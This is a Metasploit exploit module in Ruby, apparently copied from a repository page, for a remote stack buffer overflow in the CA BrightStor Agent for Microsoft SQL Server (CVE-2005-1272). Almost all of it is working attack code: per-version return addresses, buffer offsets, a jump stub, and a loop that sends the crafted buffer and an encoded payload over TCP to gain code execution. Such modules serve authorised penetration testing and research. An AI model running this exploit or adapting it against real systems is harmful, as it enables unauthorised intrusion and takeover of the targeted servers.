104 lines
3.3 KiB
Ruby
104 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the CA BrightStor
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Agent for Microsoft SQL Server. This vulnerability was
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discovered by cybertronic[at]gmx.net.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-1272'],
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[ 'OSVDB', '18501' ],
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[ 'BID', '14453'],
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[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
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[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => %w{ win },
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'Targets' =>
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[
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# This exploit requires a jmp esp for return
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['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
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['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
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['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret
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# Generic jmp esp's
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['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
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['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
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['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
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['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
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['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
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['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
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],
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'DisclosureDate' => 'Aug 02 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(6070)
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], self.class)
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end
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def exploit
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print_status("Trying target #{target.name}...")
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# The 'one line' request does not work against Windows 2003
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1.upto(5) { |i|
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# Flush some memory
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connect
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begin
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sock.put("\xff" * 0x12000)
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sock.get_once
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rescue
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end
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disconnect
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# 3288 bytes max
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# 696 == good data (1228 bytes contiguous) @ 0293f5e0
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# 3168 == return address
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# 3172 == esp @ 0293ff8c (2476 from good data)
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buf = rand_text_english(3288, payload_badchars)
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buf[ 696, payload.encoded.length ] = payload.encoded
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buf[3168, 4] = [target.ret].pack('V') # jmp esp
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buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -2476
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connect
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begin
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sock.put(buf)
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sock.get_once
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rescue
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end
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handler
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disconnect
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}
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end
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end
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